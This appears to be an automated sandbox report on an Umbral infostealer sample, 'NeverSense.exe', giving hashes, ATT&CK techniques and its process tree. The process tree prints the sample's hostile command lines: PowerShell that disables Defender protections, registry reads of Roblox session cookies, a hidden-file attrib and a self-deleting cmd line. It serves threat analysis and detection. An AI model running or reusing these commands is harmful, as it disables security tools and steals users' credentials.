umbral | a68b90e0481fc97117d68b197e3149e98f9040ea0b1b70f83a1f0de9825124d0

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
19-01-2025 09:43

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General

Target

NeverSense.exe
Size

231KB
MD5

7414d4b850e9a986b199a741613a5fd0
SHA1

797ac658f7371c68e64e94b1ac5df8d80b120710
SHA256

a68b90e0481fc97117d68b197e3149e98f9040ea0b1b70f83a1f0de9825124d0
SHA512

ecec7ad30472c366a9bdada5de639471efd207a297c7652f17343bbd83f94b0486ade175b40272a31c052b7559c32ce4bd9fe8be0ad63fccbfb753db41ca6c00
SSDEEP

6144:RloZM+rIkd8g+EtXHkv/iD4YfF8Ye5xy9XKYZd8N3b8e1mu/i:joZtL+EP8YfF8Ye5xy9XKYZd8Bg

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2680-1-0x0000000000B00000-0x0000000000B40000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
964	powershell.exe
1044	powershell.exe
1376	powershell.exe
2544	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	NeverSense.exe

Deletes itself 1 IoCs

pid	Process
876	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
10	discord.com
11	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
876	cmd.exe
932	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
764	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
932	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2680	NeverSense.exe
2544	powershell.exe
1044	powershell.exe
1376	powershell.exe
2260	powershell.exe
964	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2680	NeverSense.exe
Token: SeIncreaseQuotaPrivilege	576	wmic.exe
Token: SeSecurityPrivilege	576	wmic.exe
Token: SeTakeOwnershipPrivilege	576	wmic.exe
Token: SeLoadDriverPrivilege	576	wmic.exe
Token: SeSystemProfilePrivilege	576	wmic.exe
Token: SeSystemtimePrivilege	576	wmic.exe
Token: SeProfSingleProcessPrivilege	576	wmic.exe
Token: SeIncBasePriorityPrivilege	576	wmic.exe
Token: SeCreatePagefilePrivilege	576	wmic.exe
Token: SeBackupPrivilege	576	wmic.exe
Token: SeRestorePrivilege	576	wmic.exe
Token: SeShutdownPrivilege	576	wmic.exe
Token: SeDebugPrivilege	576	wmic.exe
Token: SeSystemEnvironmentPrivilege	576	wmic.exe
Token: SeRemoteShutdownPrivilege	576	wmic.exe
Token: SeUndockPrivilege	576	wmic.exe
Token: SeManageVolumePrivilege	576	wmic.exe
Token: 33	576	wmic.exe
Token: 34	576	wmic.exe
Token: 35	576	wmic.exe
Token: SeIncreaseQuotaPrivilege	576	wmic.exe
Token: SeSecurityPrivilege	576	wmic.exe
Token: SeTakeOwnershipPrivilege	576	wmic.exe
Token: SeLoadDriverPrivilege	576	wmic.exe
Token: SeSystemProfilePrivilege	576	wmic.exe
Token: SeSystemtimePrivilege	576	wmic.exe
Token: SeProfSingleProcessPrivilege	576	wmic.exe
Token: SeIncBasePriorityPrivilege	576	wmic.exe
Token: SeCreatePagefilePrivilege	576	wmic.exe
Token: SeBackupPrivilege	576	wmic.exe
Token: SeRestorePrivilege	576	wmic.exe
Token: SeShutdownPrivilege	576	wmic.exe
Token: SeDebugPrivilege	576	wmic.exe
Token: SeSystemEnvironmentPrivilege	576	wmic.exe
Token: SeRemoteShutdownPrivilege	576	wmic.exe
Token: SeUndockPrivilege	576	wmic.exe
Token: SeManageVolumePrivilege	576	wmic.exe
Token: 33	576	wmic.exe
Token: 34	576	wmic.exe
Token: 35	576	wmic.exe
Token: SeDebugPrivilege	2544	powershell.exe
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeDebugPrivilege	1376	powershell.exe
Token: SeDebugPrivilege	2260	powershell.exe
Token: SeIncreaseQuotaPrivilege	2036	wmic.exe
Token: SeSecurityPrivilege	2036	wmic.exe
Token: SeTakeOwnershipPrivilege	2036	wmic.exe
Token: SeLoadDriverPrivilege	2036	wmic.exe
Token: SeSystemProfilePrivilege	2036	wmic.exe
Token: SeSystemtimePrivilege	2036	wmic.exe
Token: SeProfSingleProcessPrivilege	2036	wmic.exe
Token: SeIncBasePriorityPrivilege	2036	wmic.exe
Token: SeCreatePagefilePrivilege	2036	wmic.exe
Token: SeBackupPrivilege	2036	wmic.exe
Token: SeRestorePrivilege	2036	wmic.exe
Token: SeShutdownPrivilege	2036	wmic.exe
Token: SeDebugPrivilege	2036	wmic.exe
Token: SeSystemEnvironmentPrivilege	2036	wmic.exe
Token: SeRemoteShutdownPrivilege	2036	wmic.exe
Token: SeUndockPrivilege	2036	wmic.exe
Token: SeManageVolumePrivilege	2036	wmic.exe
Token: 33	2036	wmic.exe
Token: 34	2036	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2680 wrote to memory of 576	2680	NeverSense.exe	31
PID 2680 wrote to memory of 576	2680	NeverSense.exe	31
PID 2680 wrote to memory of 576	2680	NeverSense.exe	31
PID 2680 wrote to memory of 2864	2680	NeverSense.exe	34
PID 2680 wrote to memory of 2864	2680	NeverSense.exe	34
PID 2680 wrote to memory of 2864	2680	NeverSense.exe	34
PID 2680 wrote to memory of 2544	2680	NeverSense.exe	36
PID 2680 wrote to memory of 2544	2680	NeverSense.exe	36
PID 2680 wrote to memory of 2544	2680	NeverSense.exe	36
PID 2680 wrote to memory of 1044	2680	NeverSense.exe	38
PID 2680 wrote to memory of 1044	2680	NeverSense.exe	38
PID 2680 wrote to memory of 1044	2680	NeverSense.exe	38
PID 2680 wrote to memory of 1376	2680	NeverSense.exe	40
PID 2680 wrote to memory of 1376	2680	NeverSense.exe	40
PID 2680 wrote to memory of 1376	2680	NeverSense.exe	40
PID 2680 wrote to memory of 2260	2680	NeverSense.exe	42
PID 2680 wrote to memory of 2260	2680	NeverSense.exe	42
PID 2680 wrote to memory of 2260	2680	NeverSense.exe	42
PID 2680 wrote to memory of 2036	2680	NeverSense.exe	44
PID 2680 wrote to memory of 2036	2680	NeverSense.exe	44
PID 2680 wrote to memory of 2036	2680	NeverSense.exe	44
PID 2680 wrote to memory of 552	2680	NeverSense.exe	46
PID 2680 wrote to memory of 552	2680	NeverSense.exe	46
PID 2680 wrote to memory of 552	2680	NeverSense.exe	46
PID 2680 wrote to memory of 2420	2680	NeverSense.exe	48
PID 2680 wrote to memory of 2420	2680	NeverSense.exe	48
PID 2680 wrote to memory of 2420	2680	NeverSense.exe	48
PID 2680 wrote to memory of 964	2680	NeverSense.exe	50
PID 2680 wrote to memory of 964	2680	NeverSense.exe	50
PID 2680 wrote to memory of 964	2680	NeverSense.exe	50
PID 2680 wrote to memory of 764	2680	NeverSense.exe	52
PID 2680 wrote to memory of 764	2680	NeverSense.exe	52
PID 2680 wrote to memory of 764	2680	NeverSense.exe	52
PID 2680 wrote to memory of 876	2680	NeverSense.exe	54
PID 2680 wrote to memory of 876	2680	NeverSense.exe	54
PID 2680 wrote to memory of 876	2680	NeverSense.exe	54
PID 876 wrote to memory of 932	876	cmd.exe	56
PID 876 wrote to memory of 932	876	cmd.exe	56
PID 876 wrote to memory of 932	876	cmd.exe	56

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2864	attrib.exe

C:\Users\Admin\AppData\Local\Temp\NeverSense.exe
"C:\Users\Admin\AppData\Local\Temp\NeverSense.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2680
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:576
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\NeverSense.exe"
  2⤵
  - Views/modifies file attributes
  PID:2864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\NeverSense.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2260
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2036
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:552
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:964
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:764
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\NeverSense.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:876
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IKF2RA61YRU5KBAIMEJ2.temp

Filesize
7KB

MD5
648949c49078033630fb6d272f21bed6

SHA1
331abe913727287498abfd4cf5226209ed2e89df

SHA256
6616eac2165058d35813c72c1b404ac304df4c0cf88f8a74a1965c0539d629ce

SHA512
afc22e90551713b0dc85590ab57904f61cdf03864ece5df0624dc06582cf4a4544e4e75ab56cd3f1cedb6b6f83f74f1d0afede2a918344e084c98200dd340f47

Download Submit
memory/964-45-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/1044-17-0x00000000028F0000-0x00000000028F8000-memory.dmp

Filesize
32KB

Download
memory/1044-16-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2544-10-0x0000000002870000-0x0000000002878000-memory.dmp

Filesize
32KB

Download
memory/2544-9-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2680-0-0x000007FEF6343000-0x000007FEF6344000-memory.dmp

Filesize
4KB

Download
memory/2680-4-0x000007FEF6340000-0x000007FEF6D2C000-memory.dmp

Filesize
9.9MB

Download
memory/2680-3-0x000007FEF6343000-0x000007FEF6344000-memory.dmp

Filesize
4KB

Download
memory/2680-2-0x000007FEF6340000-0x000007FEF6D2C000-memory.dmp

Filesize
9.9MB

Download
memory/2680-1-0x0000000000B00000-0x0000000000B40000-memory.dmp

Filesize
256KB

Download
memory/2680-49-0x000007FEF6340000-0x000007FEF6D2C000-memory.dmp

Filesize
9.9MB

Download